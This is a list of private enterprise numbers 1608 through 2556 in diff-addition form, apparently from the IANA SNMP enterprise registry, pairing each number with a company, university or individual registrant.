+1608 Mylex Corporation
+1609 CRYPTOCard Corporation
+1610 LXE, Inc.
+1611 BDM International, Inc.
+1612 Spacenet Inc.
+1613 Datanet GmbH
+1614 Opcom, Inc.
+1615 Mlink Internet Inc.
+1616 SR-Telecom Inc.
+1617 Net Partners Inc.
+1618 Peek Traffic - Transyt Corp.
+1619 Comverse Information Systems
+1620 Data Comm for Business, Inc.
+1621 CYBEC Pty. Ltd.
+1622 Mitsui Knowledge Industry Co.,Ltd.
+1623 Tech Laboratories, Inc.
+1624 Blockade Systems Corp.
+1625 Nixu Oy
+1626 Australian Software Innovations (Services) Pty. Ltd.
+1627 Omicron Telesystems Inc.
+1628 DEMON Internet Ltd.
+1629 PB Farradyne, Inc.
+1630 Telos Corporation Sharon
+1631 Manage Information Technologies
+1632 Harlow Butler Broking Services Ltd.
+1633 Eurologic Systems Ltd
+1634 Telco Research Corporation
+1635 Mercedes-Benz AG
+1636 HOB GmbH & Co. KG - HOB Germany
+1637 NOAA
+1638 Cornerstone Software
+1639 Wink Communications
+1640 Thomson Electronic Information Resources (TEIR)
+1641 Saab Traffic Management
+1642 KPMG
+1643 Loral Federal Systems
+1644 S.I.A.- Societa Interbancaria per l'Automazione
+1645 United States Cellular Corp.
+1646 AMPER DATOS S.A.
+1647 Carelcomp Forest Oy
+1648 Open Environment Australia
+1649 Integrated Telecom Technology, Inc.
+1650 Langner Gesellschaft fuer Datentechnik mbH
+1651 Wayne State University
+1652 SICC (SsangYong Information & Communications Corp.)
+1653 THOMSON - CSF
+1654 Teleconnect Dresden GmbH
+1655 Panorama Software Inc.
+1656 CompuNet Systemhaus GmbH
+1657 JAPAN TELECOM CO.,LTD.
+1658 TechForce Corporation
+1659 Granite Systems Inc.
+1660 Bit Incorporated
+1661 Companhia de Informatica do Parana - Celepar
+1662 Rockwell International Corporation
+1663 Ancor Communications
+1664 Royal Institute of Technology, Sweden (KTH)
+1665 SUNET, Swedish University Network
+1666 Sage Instruments, Inc.
+1667 Candle Corporation
+1668 CSO GmbH
+1669 M3i Systems Inc.
+1670 CREDINTRANS
+1671 ADVA Optical Networking Ltd.
+1672 Pierce & Associates
+1673 RTS Wireless
+1674 R.I.C. Electronics
+1675 Amoco Corporation
+1676 Qualix Group, Inc.
+1677 Sahara Networks, Inc.
+1678 Hyundai Electronics Industries Co.,Ltd.
+1679 RICH, Inc.
+1680 Amati Communications Corp.
+1681 P.H.U. RysTECH
+1682 Data Labs Inc.
+1683 Occidental Petroleum Corporation
+1684 Rijnhaave Internet Services
+1685 Lynx Real-Time Systems, Inc.
+1686 QA IT Services Ltd
+1687 SofTouch Systems, Inc.
+1688 Sonda S.A.
+1689 McCormick Nunes Company
+1690 Ume E5 Universitet
+1691 NetiQ Corporation
+1692 Starlight Networks
+1693 Informacion Selectiva S.A. de C.V. ( Infosel )
+1694 HCL Technologies Limited
+1695 Maryville Data Systems, Inc
+1696 EtherCom Corp
+1697 MultiCom Software
+1698 BEA Systems Ltd.
+1699 Advanced Technology Ltd.
+1700 Mobil Oil
+1701 Arena Consulting Limited
+1702 Netsys International (Pty) Ltd
+1703 Titan Information Systems Corp.
+1704 Cogent Data Technologies
+1705 Reliasoft Corporation
+1706 Midland Business Systems, Inc.
+1707 Optimal Networks
+1708 Gresham Computing plc
+1709 Leidos, Inc. (formerly 'SAIC')
+1710 Acclaim Communications
+1711 BISS Limited
+1712 Caravelle Inc.
+1713 Diamond Lane Communications Corporation
+1714 Infortrend Technology, Inc.
+1715 Ardatis N.V (formerly 'Orda-B N.V.')
+1716 Ariel Corporation
+1717 Datalex Communications Ltd.
+1718 Server Technology Inc.
+1719 Unimax Systems Corporation
+1720 DeTeMobil GmbH
+1721 INFONOVA GmbH
+1722 Kudelski SA
+1723 Pronet GmbH
+1724 Westell, Inc.
+1725 Nupon Computing, Inc.
+1726 Cianet Ind e Com Ltda (Cianet Networking)
+1727 Aumtech of Virginia (amteva)
+1728 CheongJo data communication, Inc.
+1729 Genesys Telecommunications Laboratories Inc.(Genesys Labs.)
+1730 Progress SoftwareAndrew Neumann
+1731 ERICSSON FIBER ACCESS
+1732 Open Access Pty Ltd
+1733 Sterling Commerce
+1734 Predictive Systems Inc.
+1735 Architel Systems Corporation
+1736 QWEST NMS
+1737 Eclipse Technologies Inc.
+1738 Navy
+1739 Bindi Technologies, Pty Ltd
+1740 Hallmark Cards Inc.
+1741 Object Design, Inc.
+1742 Unassigned
+1743 Zenith Data Systems (ZDS)
+1744 Gobi Corp.
+1745 Universitat de Barcelona
+1746 Institute for Simulation and Training (IST)
+1747 US Agency for International Development
+1748 Tut Systems, Inc.
+1749 AnswerZ Pty Ltd (Australia)
+1750 H.Bollmann Manufacturers Ltd (HBM)
+1751 Lucent Technologies
+1752 phase2 networks Inc.
+1753 Unify Corporation
+1754 Gadzoox Microsystems Inc.
+1755 Network One, Inc.
+1756 MuLogic b.v.
+1757 Optical Microwave Networks, Inc.
+1758 SITEL, Ltd.
+1759 Cerg Finance
+1760 American Internet Corporation
+1761 PLUSKOM GmbH
+1762 Dept. of Communications, Graz University of Technology
+1763 EarthLink Inc.
+1764 Real Soft, Inc
+1765 Apex Voice Communications, Inc.
+1766 National DataComm Corporation
+1767 Telenor Conax AS
+1768 Patton Electronics Company
+1769 Digital Fairway Corporation
+1770 BroadBand Technologies, Inc.
+1771 Myricom
+1772 DecisionOne
+1773 Tandberg Television
+1774 AUDITEC SA
+1775 PC Magic
+1776 Koninklijke Philips Electronics NV
+1777 ORIGIN
+1778 CSG Systems
+1779 Alphameric Technologies Ltd
+1780 NCR Austria Michael Ostendorf
+1781 ChuckK, Inc.
+1782 PowerTV, Inc.
+1783 webMethods
+1784 Enron Capitol & Trade Resources
+1785 ORBCOMM
+1786 Jw direct shop
+1787 B.E.T.A.
+1788 Healtheon
+1789 Integralis Ltd.
+1790 Folio Corporation
+1791 ECTF
+1792 WebPlanet
+1793 nStor Corporation
+1794 Deutsche Bahn AG
+1795 Paradyne
+1796 Nastel Technologies, Inc.
+1797 Metaphase Technology, Inc.
+1798 Zweigart & Sawitzki
+1799 PIXEL
+1800 WaveAccess Inc.
+1801 The SABRE Group
+1802 Redland Technology Corp.
+1803 PBS
+1804 Consensus Development Corporation
+1805 SAGEM SA
+1806 I-Cube Inc.
+1807 INTRACOM S.A HELLENIC TELECOMMUNICATION AND ELECTRONICS INDUSTRY)
+1808 Aetna, Inc.
+1809 Dow Jones Markets, Inc.
+1810 Czech Railways s.o. CITJaroslav Militky
+1811 Scan-Matic A/S
+1812 DECISION Europe Joel CHOTARD
+1813 VTEL Corporation
+1814 Bloomberg, L.P.
+1815 Verint Systems, Inc (formerly Witness Systems, Inc)
+1816 Rose-Hulman Institute of Technology
+1817 Aether Technologies
+1818 Infonet Software SolutionsDavid Hauck
+1819 CSTI (Compagnie des Signaux / Technologies Informatiques)Mr Camille Breeus
+1820 LEROY MERLINRIGAULT Alain
+1821 Total Entertainment Network
+1822 Open Port Technology
+1823 Mikroelektronik Anwendungszentrum Hamburg GmbHZ
+1824 International Management Consulting, Inc.
+1825 Fore Systems, Inc.
+1826 MTech Systems
+1827 RxSoft Ltd.Timothy Madden
+1828 Dept. Computer Studies, Loughborough University
+1829 Beta80 S.p.A.
+1830 Galiso Incorporated
+1831 S2 Systems, Inc.
+1832 Optivision, Inc.
+1833 Countrywide Home Loans
+1834 OA Laboratory Co., Ltd.
+1835 SDX Business Systems Ltd
+1836 West End Systems Corp.
+1837 DK Digital Media
+1838 Westel
+1839 Fujitsu Service Limited
+1840 Inmarsat
+1841 TIMS Technology Ltd
+1842 CallWare Technologies
+1843 NextLink, L.L.C.
+1844 TurnQuay Solutions Limited
+1845 Accusort Systems Inc
+1846 Deutscher Bundestag
+1847 Joint Research Centre
+1848 FaxSav
+1849 Chevy Chase Applications Design
+1850 Bank Brussel Lambert (BBL)
+1851 OutBack Resource Group, Inc.
+1852 Screen Subtitling Systems Ltd
+1853 Cambridge Parallel Processing Ltd
+1854 Boston University
+1855 News Digital Systems Ltd
+1856 NuTek 2000, Inc.
+1857 Overland Mobile Communication AB
+1858 Axon IT AB
+1859 Gradient Medical Systems
+1860 WaveSpan Corporation
+1861 Net Research, Inc.
+1862 Browncroft Community Church
+1863 Net2Net Corporation
+1864 US Internet
+1865 Absolute Time
+1866 VPNet
+1867 NTech
+1868 Nippon Unisoft Corporation
+1869 Optical Transmission Labs, Inc.
+1870 CyberCash, Inc.
+1871 NetSpeed, Inc.
+1872 Alteon Networks, Inc.
+1873 Internet Middleware Corporation
+1874 ISOnova GmbH
+1875 Amiga IOPS Project
+1876 Softbank Services Group
+1877 Sourcecom Corporation
+1878 Telia Promotor AB
+1879 HeliOss Communications, Inc.
+1880 Optical Access International, Inc.
+1881 MMC Networks, Inc.
+1882 Lanyon Ltd.
+1883 Rubico
+1884 Quantum Telecom Solutions, Inc.
+1885 Archinet
+1886 i-cubed Ltd.
+1887 Albis Technologies Ltd. (formerly 'Siemens Switzerland Ltd.')
+1888 GigaLabs, Inc.
+1889 MET Matra-Ericsson
+1890 Red Lion Controls (JBM Electronics)
+1891 OPTIM Systems, Inc.
+1892 Software Brewery
+1893 WaveLinQ
+1894 Siemens ICN
+1895 IEX Corporation
+1896 TrueTime
+1897 HT Communications Inc.
+1898 Avantcomp Oy
+1899 InfoVista
+1900 Openwave Systems, Inc.
+1901 Sea Wonders
+1902 HeadStart Enterprise
+1903 B-SMART Inc.
+1904 ISMA Ltd
+1905 3DV Technology, Inc.
+1906 StarCom Technologies Inc.
+1907 L.L.Bean
+1908 NetIcs Inc.
+1909 Infratec plus GmbH
+1910 3edges
+1911 GISE mbHVolkmar Brisse / Hans-Jurgen Laub
+1912 lan & pc services
+1913 RedPoint Software Corporation
+1914 Atempo Inc
+1915 I-95-CC
+1916 Extreme Networks
+1917 Village of Rockville Centre
+1918 Swichtec Power Systems
+1919 Deutscher Wetterdienst
+1920 Bluebird Software
+1921 Svaha Interactive Media, Inc.
+1922 Sully Solutions
+1923 Blue Line
+1924 Castleton Network Systems Corp Glen Tracey tracey&castleton.com
+1925 Visual Edge Software Ltd.
+1926 NetGuard Technologies, Inc.
+1927 SoftSell, Inc.
+1928 MARNE SOFTWARE
+1929 Cadia Networks, Inc.
+1930 Milton
+1931 Del Mar Solutions, Inc.
+1932 KUMARAN SYSTEMS
+1933 Equivalence
+1934 Homewatch International, Inc.
+1935 John Rivers
+1936 Remark Services, Inc.
+1937 Deloitte & Touche Consulting Group
+1938 Flying Penguin Productions
+1939 The Matrix
+1940 Eastern Computers, Inc.
+1941 Princeton BioMedica Inc.
+1942 SanCom Technology, Inc.
+1943 National Computing Centre Ltd.
+1944 Aval Communications
+1945 WORTEC SearchNet CO.
+1946 Dogwood Media
+1947 Allied Domecq
+1948 Telesoft Russia
+1949 UTStarcom, Inc.
+1950 comunit
+1951 Traffic Sofware Ltd
+1952 Qualop Systems Corp
+1953 Vinca Corporation
+1954 AMTEC spa
+1955 GRETACODER Data Systems AG
+1956 KMSystems, Inc.
+1957 GEVA
+1958 Red Creek Communications, Inc.
+1959 BORG Technology Inc.
+1960 Concord Electronics
+1961 Richard Ricci DDS
+1962 Link International Corp.
+1963 Intermec Technologies Corp.
+1964 OPTIMUM Data AG
+1965 DMCNW
+1966 Perle Systems Limited
+1967 inktomi corporation
+1968 TELE-TV Systems, L.P.
+1969 Fritz-Haber-Institut
+1970 mediaone.net
+1971 SeaChange International Peter H.
+1972 CASTON Corporation
+1973 Local Net
+1974 JapanNet
+1975 NabiscoKen ChristChristK&nabisco.com
+1976 micrologica GmbH
+1977 Network Harmoni, Inc.
+1978 SITA ADS
+1979 Global Maintech Corporation
+1980 Tele2 AB
+1981 EMC CLARiiON Advanced Storage Solutions
+1982 ITS Corporation
+1983 CleverSoft, Inc.
+1984 The Perseus Group, Inc.
+1985 Joe's WWW Pages
+1986 Everything Internet Store
+1987 Numara Software, Inc
+1988 Lycoming County PA
+1989 Statens Institutions styrelse SiS
+1990 INware Solutions Inc.
+1991 Brocade Communication Systems, Inc. (formerly 'Foundry Networks, Inc.')
+1992 Deutsche Bank
+1993 Xyratex
+1994 Bausch Datacom B.V.
+1995 Advanced Radio Telecom (ART)
+1996 Copper Mountain Communications Inc.
+1997 PlaNet Software Inc.
+1998 Carltan Computer Corporation
+1999 Littva Mitchell, Inc.
+2000 TIBCO Inc.
+2001 Oki Data Corporation
+2002 GoTel
+2003 Adobe Systems Incorporated
+2004 Sentricity
+2005 Aeroports De Paris
+2006 ECONZ Ltd
+2007 TELDAT, S.A.
+2008 Offset Info Service srl
+2009 A. J. Boggs & Company
+2010 Stale Odegaard AS
+2011 HUAWEI Technology Co.,Ltd
+2012 nVent, Schroff GmbH
+2013 Rehabilitation Institute of Chicago Angie
+2014 ADC Telecommunications, Inc.
+2015 SYSTOR AG
+2016 GraIyMage, Inc.
+2017 Symicron Computer Communications Ltd.
+2018 Scandorama AB
+2019 I-NET
+2020 Xland, Ltd.
+2021 U.C. Davis, ECE Dept. Tom
+2022 CANARY COMMUNICATIONS, Inc.
+2023 NetGain
+2024 West Information Publishing Group
+2025 Deutsche Bundesbank
+2026 Broadxent, Inc
+2027 Gauss Interprise AG
+2028 Aldiscon
+2029 Vivid Image
+2030 AfriQ*Access, Inc.
+2031 Reliant Networks Corporation Steven
+2032 Mavenir Systems (formerly 'airwide solutions')
+2033 McKinney Lighting & Sound
+2034 Whole Systems Design, Inc.
+2035 O'Reilly Media, Inc.
+2036 Quantum Corporation
+2037 Ernst and Young LLP
+2038 Teleware Oy
+2039 Fiducia Informationszentrale AG Ian
+2040 Kinetics, Inc.
+2041 EMCEE Broadcast Products
+2042 Clariant Corporation
+2043 IEEE 802.5
+2044 Open Development Corporation
+2045 RFG SystemsRamon Ferreris
+2046 Aspect Telecommunications
+2047 Leo & Associates
+2048 SoftLinx, Inc.
+2049 Generale Bank
+2050 Windward Technologies Inc.
+2051 NetSolve, Inc.
+2052 Xantel
+2053 arago, Institut fuer komplexes Datenmanagement GmbH
+2054 Kokusai Denshin Denwa Co., Ltd
+2055 GILLAM-SATEL
+2056 MOEBIUS SYSTEMS
+2057 Financial Internet Technology
+2058 MARC Systems
+2059 Bova Gallery
+2060 OSx Telecomunicacoes
+2061 Telecom Solutions
+2062 CyberIQ Systems
+2063 Ardent Communications Corporation
+2064 Aware, Inc.
+2065 Racal Radio Limited
+2066 Control Resources Corporation
+2067 Advanced Fibre Communications (AFC)
+2068 Elproma Electronica B.V.
+2069 MTA SZTAKI
+2070 Consensys Computers Inc
+2071 Jade Digital Research Co.
+2072 Byte This Interactive Pty.Ltd. Mike
+2073 Financial Network Technologies Inc.
+2074 BROKAT Informationssysteme GmbH
+2075 MediaWise Networks
+2076 Future Software
+2077 Commit Information Systems
+2078 Virtual Access Ltd
+2079 JDS FITEL Inc.
+2080 IPM DATACOM
+2081 StarBurst Communications Corporation Kevin
+2082 Tollgrade Communications, Inc.
+2083 Orange Services US
+2084 GS Yuasa Infrastructure Systems Co.,Ltd.
+2085 Isolation Systems Limited
+2086 AVIDIA Systems, Inc.
+2087 Cidera-Mainstream Services
+2088 Radstone Technology Plc
+2089 Philips Business Communications
+2090 FMS Services
+2091 Supernova Communications
+2092 Murphy & Murphy Real Estate
+2093 Multi-Platform Information Systems
+2094 Allegro Consultants, Inc.
+2095 AIAB
+2096 Preview Multimedia Services
+2097 Access Beyond
+2098 SunBurst Technology, Inc.
+2099 sotas
+2100 CyberSouls Eternal Life Systems Inc.
+2101 HANWHA CORP./TELECOM
+2102 COMET TELECOMMUNICATIONS INC
+2103 CARY SYSTEMS, Inc.
+2104 Peerless Systems Corp Frank
+2105 Adicom Wireless, Inc
+2106 High Technology Software Corp
+2107 Lynk
+2108 Robin's Limousine
+2109 Secant Network Tech
+2110 Orion Pictures Corporation
+2111 Global Village Communication, Inc.
+2112 ioWave, Inc.
+2113 Signals and Semaphores
+2114 Mayo Foundation
+2115 KRONE AG
+2116 Computer Networking Resources, Inc
+2117 Telenetworks
+2118 Staffordshire University
+2119 Broadband Networks Inc.
+2120 Federal Aviation Administration
+2121 Technical Communications Corporation
+2122 REZO+
+2123 GrafxLab, Inc.
+2124 Savant Corp
+2125 COMTEC SYSTEMS CO.,LTD. DEOK-HYOENG
+2126 Satcom Media
+2127 Sonus Networks, Inc.
+2128 TPG Network
+2129 CNJ Incorporated
+2130 Greenbrier & Russel
+2131 mainnet
+2132 Comnet DatensystemeHolger Zimmermanhzimmermann&cnd.de
+2133 Novadigm, Inc.
+2134 Alfatech, Inc.
+2135 Financial Sciences Corporation Gary
+2136 Electronics For Imaging, Inc.
+2137 Casabyte
+2138 AssureNet Pathways, Inc.
+2139 Alexander LAN, Inc.
+2140 Gill-Simpson
+2141 MCNS, L.P.
+2142 Future Systems, Inc.
+2143 IMGIS
+2144 Skywire Corporation
+2145 Irdeto B. V.
+2146 Peasantworks
+2147 Onion Peel Software
+2148 PS Partnership
+2149 IRdg, Inc.
+2150 SDS Ltd.
+2151 Promus Hotel Corporation Oscar Pearce
+2152 Cavid Lawrence Center
+2153 Insider Technologies Ltd Paul Hancock
+2154 Berkeley Networks
+2155 Infonautics Corporation
+2156 Easy Software
+2157 CESG
+2158 SALIX Technologies, Inc.
+2159 Essential Communications
+2160 University of Hawaii
+2161 Foxtel Management Pty
+2162 ZOHO Corporation (formerly 'Advent Network Management')
+2163 Vayris, S.A.
+2164 Telecom Multimedia Systems, Inc.
+2165 Guardall Ltd.
+2166 WKK SYSTEMS, Inc.
+2167 Prominet Corporation
+2168 LMC Lan Management Consulting GmbH
+2169 Lewis Enterprise
+2170 Teles AG
+2171 PCSI (Phoenix Control) Wayne Edward
+2172 Fourth Wave Designs, Inc.
+2173 MediaGate, Inc.
+2174 Interactive Online Services, Inc.
+2175 Mutek Transcom Ltd.
+2176 University of Dortmund, IRB
+2177 Network Diagnostic Clinic
+2178 TSI - Telecom Systems Ltd.
+2179 WireSpeed Comm. Corp.
+2180 Versanet Communications, Inc.
+2181 EUnet Communications Services BV
+2182 pow communications
+2183 AMCommunications Inc.
+2184 Open Architecture Systems Integration Solutions (OASIS),Inc.
+2185 NetPartner s.r.o.
+2186 Vina Technologies
+2189 Deutsches Klimarechenzentrum GmbH
+2190 ABSYSSClaude-Aime MOTONGANEmotongane&absyss.fr
+2191 Quadrophonics, Inc.
+2192 Hypercore Technology Inc.
+2193 OBTK, Inc., dba Network Designs Corporation
+2194 VOIS Corporation
+2195 IXO S.A.
+2196 Macro4 Open Systems Ltd.
+2197 RSA Security
+2198 NextWave Wireless Inc.
+2199 Pisces Consultancy
+2200 TPS Call Sciences, Inc (TPS) Paul L.
+2201 ICONSULT
+2202 Third Point Systems
+2203 MAS Technology Ltd.
+2204 Advanced Logic Research, Inc.(ALR)
+2205 Documentum, Inc.
+2206 Siemens Business Communication Systems, Inc.
+2207 Telmax Communications Corp.
+2208 Zypcom, Inc.
+2209 Remote Sense
+2210 OOTek Corporation
+2211 eSoft, Inc.
+2212 anydata limited
+2213 Data Fellows Ltd.
+2214 Productions Medialog Inc.
+2215 Inovamerci, Lda
+2216 OKITEC
+2217 Vertex Networks Inc.
+2218 Pulse Communications
+2219 CXA Communications Ltd.
+2220 IDD Information Service
+2221 Atlas Computer Equipment, Inc.
+2222 Syntegra
+2223 CCC Information Services
+2224 W. Quinn Associates
+2225 Broadcom Eireann Research Ltd.
+2226 Risk Management Services llc
+2227 Watkins-Johnson Company
+2228 Eric E. Westbrook
+2229 Martinho-Davis Systems Inc.
+2230 XYPOINT Corporation
+2231 Innovat Communications, Inc.
+2232 Charleswood & Co.
+2233 ID Software AS
+2234 Telia AB
+2235 Exploration Enterprises, Inc.
+2236 Daimler-Benz Aerospace AG
+2237 Xara Networks Ltd.
+2238 The FreeBSD Project
+2239 World Merchandise Exchange (WOMEX) Ltd.
+2240 lysis
+2241 CFL Research
+2242 NET-TEL Computer Systems Limited
+2243 Sattel Communications
+2244 Promatory Communications Inc.
+2245 Catalogic Software Inc. (formerly 'Syncsort, Inc.')
+2246 LloydsTSB Group Plc
+2247 IT Consultancy Engineering Management Group Ltd.
+2248 LITE-ON COMMUNICATIONS Corp.
+2249 The New Millennium
+2250 Quatraco Yugoslavia
+2251 BR Business Systems
+2252 WheelGroup Corporation Jonathan
+2253 Ultimate Technology, Inc.
+2254 Delta Electronics, Inc.
+2255 Waffle Productions
+2256 Korea Internet
+2257 Selex Communications Limited (formerly 'BAE SYSTEMS')
+2258 THOMSON BROADCAST SYSTEMS
+2259 Workflow Automation Company Ltd.
+2260 Associated RT, Inc.
+2261 DRS Codem Systems
+2262 RIGHT TIME WATCH CENTER FELIX
+2263 Advanced-Vision Technologies, Inc.
+2264 Applied Intelligence Group Dana
+2265 Acorn Computers Ltd.
+2266 Tempest Consulting Inc.
+2267 Digital Sound Corporation
+2268 Fastlan Solutions, Inc.
+2269 Ordinox Network, Inc.
+2270 Telinc Corporation
+2271 DRS Consulting Group
+2272 Rapid City Communication
+2273 Invisible Fence Sales Company
+2274 Troika Management Services
+2275 VXtreme Inc.
+2276 CryptSoft Pty Ltd
+2277 Brooktrout Technology
+2278 GRASS mbH
+2279 EPiCon Inc.
+2280 SAD Trasporto Locale S.p.a
+2281 Giganet Ltd
+2282 INCAA Informatica Italia srl
+2283 Vermont Firmware Corporation
+2284 Automated Concepts
+2285 Flash Networks Ltd
+2286 Oracom Inc.
+2287 Shell Information Technology International Inc.
+2288 Black Pigs of Death
+2289 N3ERZ
+2290 Technology Rendezvous Inc.
+2291 ZapNet! Inc.
+2292 Premier Technologies
+2293 Tennyson Technologies
+2294 Dot Hill Systems
+2295 DH Technology, Inc.
+2296 DAGAZ Technologies, Inc.
+2297 Ganymede Software Inc.
+2298 Tele-Communications Inc.
+2299 FreeGate Corportation
+2300 MainControl Inc.
+2301 Luminate Software Corp.
+2302 K2Net
+2303 Aurora Communciations Pty. Ltd.
+2304 LANscape Limited
+2305 Gateway Technologies Inc.
+2306 Zergo Limited
+2307 C4U Solutions
+2308 BOLL Engineering AG
+2309 Internet Mail Consortium
+2310 College of Mathematics and Science - Univ. of Central Oklahoma
+2311 Institute for Applied Supercomputing - CSUSB
+2312 Red Hat
+2313 Legal & General Assurance Society Ltd.
+2314 Fire Networks Inc.
+2315 icti
+2316 Internet Communication Security
+2317 TALX Corporation
+2318 Repeater Technologies Inc.
+2319 Aumtech Inc.
+2320 EuroSInet
+2321 ke Kommunikations-Elektronik
+2322 Starvision Multimedia Corp.
+2323 Alcatel Telecom ASD
+2324 AVAL DATA Coporation
+2325 Pacific Northwest National Laboratory
+2326 Tortoise Software Systems
+2327 Verio, Inc.
+2328 ArrayComm, Inc.
+2329 DST Systems Inc.
+2330 Vision Service Plan
+2331 Best Buy
+2332 Shared Network Services (SNS)
+2333 BBC
+2334 Packeteer Inc.
+2335 Applied Digital Access
+2336 HIS Technologies
+2337 DNE Technologies, Inc.
+2338 Vertical Networks, Inc.
+2339 CSoft Ltd.
+2340 National Grocers
+2341 Reliance Computer Corp.
+2342 AK-NORD EDV Vertriebsges mbH
+2343 Financial Technologies International
+2344 SpaceWorks, Inc.
+2345 Torrent Networking Technologies Corp.
+2346 CTI
+2347 Datastream International Abbas Foroughi
+2348 Killion Inc.
+2349 Mission Critical Software, Inc.
+2350 Data Research and Applications, Inc.
+2351 Resonate Inc.
+2352 Ericsson, Inc. (formerly 'RedBack Networks')
+2353 Nexware Corporation
+2354 ADC Wireless Systems
+2355 ITIS
+2356 LANCOM Systems
+2357 PSIMED Corporation
+2358 Transfer Data Test GmbH
+2359 T.I.P. Group S.A.
+2360 Redlink
+2361 Japan Information Engineering Co, Ltd.
+2362 Richter Systems Development, Inc.
+2363 Eurocontrol MAS UAC
+2364 Konica Corporation
+2365 Viacom
+2366 XIOtech Corporation
+2367 IMS Gesellschaft fuer Informations- und Managementsysteme mbH
+2368 Softworks
+2369 MobileWare Corporation
+2370 Memco Software Ltd.
+2371 Advanced TechCom, Inc.
+2372 Bedford Associates, Inc.
+2373 CyberWizard, Inc.
+2374 SMART Technologies, Inc.
+2375 Concentric Network Corporation
+2376 The SNMP WorkShop
+2377 Reltec Corp
+2378 Nera
+2379 Nations Bank
+2380 Integrated Design Techniques Limited
+2381 OpenLink Software, Inc.
+2382 NetReality, Inc.
+2383 Imation Corp.
+2384 SIBIS Ltd.
+2385 SHARP Corporation
+2386 Desktop Data, Inc.
+2387 Telecom Device K.K.
+2388 Captech Communication Inc.
+2389 Performance Telecom Corp.
+2390 Com'X
+2391 Karim
+2392 Systems Integration Group
+2393 Witcom Innovative Radio Systems
+2394 S.F. Software
+2395 MARBEN Italia S.p.A.
+2396 ActivCard, Inc.
+2397 Cognos, Inc.
+2398 Eagle Traffic Control Systems W.L.(Bud)
+2399 Netwave
+2400 Hemet.net
+2401 NBX Corporation
+2402 Al-Bader Shipping & Gen. Cont. Co. Domnic Faia
+2403 @Home Network
+2404 Primeur
+2405 ILTS Inc.
+2406 Computer Generation, Inc.
+2407 Mouton Noir Enterprises Inc.
+2408 Baystate Sound & Recording
+2409 Metapath Corporation
+2410 Tajeet Gourmet Food Manufacturing
+2411 Telcel
+2412 Intertrader Ltd
+2413 Maxtronics
+2414 Spiderplant
+2415 Software.com, Inc.
+2416 Adherent Systems Ltd
+2417 Korfmacher
+2418 Svenska EDIT AB
+2419 MLM5000
+2420 INIT
+2421 Teltone Corporation
+2422 Faircross Computers
+2423 Carycom (H.K.) LTD
+2424 Dominio Publico Internet, S.L.
+2425 bkr - Network Systems
+2426 Mariposa Technology, Inc.
+2427 Brocade Communications Systems, Inc. (formerly 'NuView Inc.')
+2428 Uninett
+2429 A.C.E.
+2430 Oy Comptel Ab
+2431 mms Communication GmbH
+2432 Sortova Consulting Group, Inc.
+2433 ENVOY Corporation
+2434 Metron Technology Limited
+2435 Brother Industries, Ltd.
+2436 NetCom Systems, Inc.
+2437 Kapsch AG.
+2438 Shomiti Systems
+2439 Computerm Corporation
+2440 Efficient IP
+2441 CertiSoft Tecnologia Ltda.
+2442 EDI Enterprises, Inc.
+2443 CCII Systems (Pty) Ltd
+2444 Connetix, Inc.
+2445 TUNIX Open System Consultants
+2446 GNP Computers
+2447 Intercope International
+2448 NXT
+2449 Pan Dacom Forcom Telekommunikationssysteme GmbH
+2450 Auco, Inc.
+2451 Tecnotree (formerly 'Tecnomen')
+2452 Helax AB
+2453 Omtool Ltd.
+2454 G-connect
+2455 Dynamic Mutual Funds
+2456 Antec Network Technologies
+2457 Premiere Promotions
+2458 LANQuest
+2459 Guardian Bank p. Zagreb
+2460 ihlas net
+2461 WAVTrace
+2462 VIGGEN Corporation
+2463 SAIF ALI CO., Ltd.
+2464 CARYNET Information Center
+2465 Application Telematiques, Numeriques et Reseaux (ATNR)
+2466 Channelmatic-LIMT, Inc.
+2467 ArrowPoint Communications Inc.
+2468 Ingrasys
+2469 Netbuilding
+2470 Personal & Confidential Klaus
+2471 Comsys International B.V.
+2472 Advance Telecommunication Krisada Arjinpattara
+2473 GateKey Solutions, Inc.
+2474 Avici Systems, Inc.
+2475 Sierra Technology, Inc.John Fischerjfischer&stisierra.com
+2476 Encanto Networks Inc.
+2477 Mount Olive College
+2478 FUJITSU ACCESS LIMITED
+2479 EDS GmbH
+2480 Jyra Research Inc.
+2481 Summit Communications
+2482 Ministry of Transport, Public Works and Water Management
+2483 WinNet MCS Inc.
+2484 ICG Communications
+2485 CrossLink Internet Services
+2486 Cygnus Computer Associates, Ltd.
+2487 Phoenix Technologies Ltd.
+2488 Internetclub
+2489 CV. MITRA ADI PRANATA Ir. Fx Wahyu Hartono
+2490 Vixel Corporation
+2491 Atmosphere Networks Inc.
+2492 Montana Tel-Net
+2493 JCP Computer Services Ltd.
+2494 Inter Clear Service Ltd.
+2495 Internet Systems Consortium, Inc.
+2496 LightSpeed International, Inc.
+2497 GammaGraphX, Inc.
+2498 iManage Inc.
+2499 Internet Security Systems
+2500 Vienna Systems Corporation
+2501 Yago Systems, Inc.
+2502 LunarWave Communications
+2503 Bangkok Pattaya Hospital
+2504 Roke Manor Research Limited
+2505 New Oak Communications, Inc.
+2506 Bug Free Development
+2507 ARC Technologies Group, Inc.
+2508 Internet Dynamics, Inc.
+2509 Aviat Networks
+2510 Bear Mountain Software
+2511 AccessLAN Communications,Inc.
+2512 Crossroads Systems, Inc.
+2513 CR2A-DI
+2514 Mantra Communications Inc.
+2515 DiscoverNet
+2516 VocalTec Communications Ltd.
+2517 Riversoft Limited
+2518 Phaos Technology Corp.
+2519 POWEREDCOM, Inc.
+2520 Internet Systems Inc.
+2521 ComConsult
+2522 Osicom Technologies
+2523 Hitron Technology Inc.
+2524 Rabenstein Enterprises
+2525 AT Sistemas, C.A.
+2526 iPass Inc.
+2527 InterLinear Technology Inc
+2528 World One Telecom Ltd
+2529 Quadritek Systems, Inc.
+2530 Syseca
+2531 NetSpeak Corporation
+2532 OpNet Inc.
+2533 MRM Consulting
+2534 TNSys-Trading Net System
+2535 JCMT
+2536 Endeavour Hills Computer Services
+2537 Diversified Technology, Inc.
+2538 Lateral Management Limited
+2539 Proxy Software Systems Ltd.
+2540 Combox Ltd.
+2541 Spectrix Corporation
+2542 Electronics and Telecommunications Research Institute
+2543 Arlotto Comnet, Inc.
+2544 ADVA AG Optical Networking
+2545 NewTec GmbH Systementwicklung und Beratung Harald
+2546 PVT a.s. - pvt.net
+2547 Catholic University of Pelotas
+2548 Cryptonym Corporation
+2549 Aker Consultoria e Informatica Rodrigo Ormonde
+2550 ELVIS-PLUS
+2551 Telegyr Systems
+2552 Netegrity, Inc.
+2553 Cardinal Network, New Zealand Ltd
+2554 Micro Integrated Innnovations Paul
+2555 JayaTek Sdn. Bhd.
+2556 Central Electronic Industry
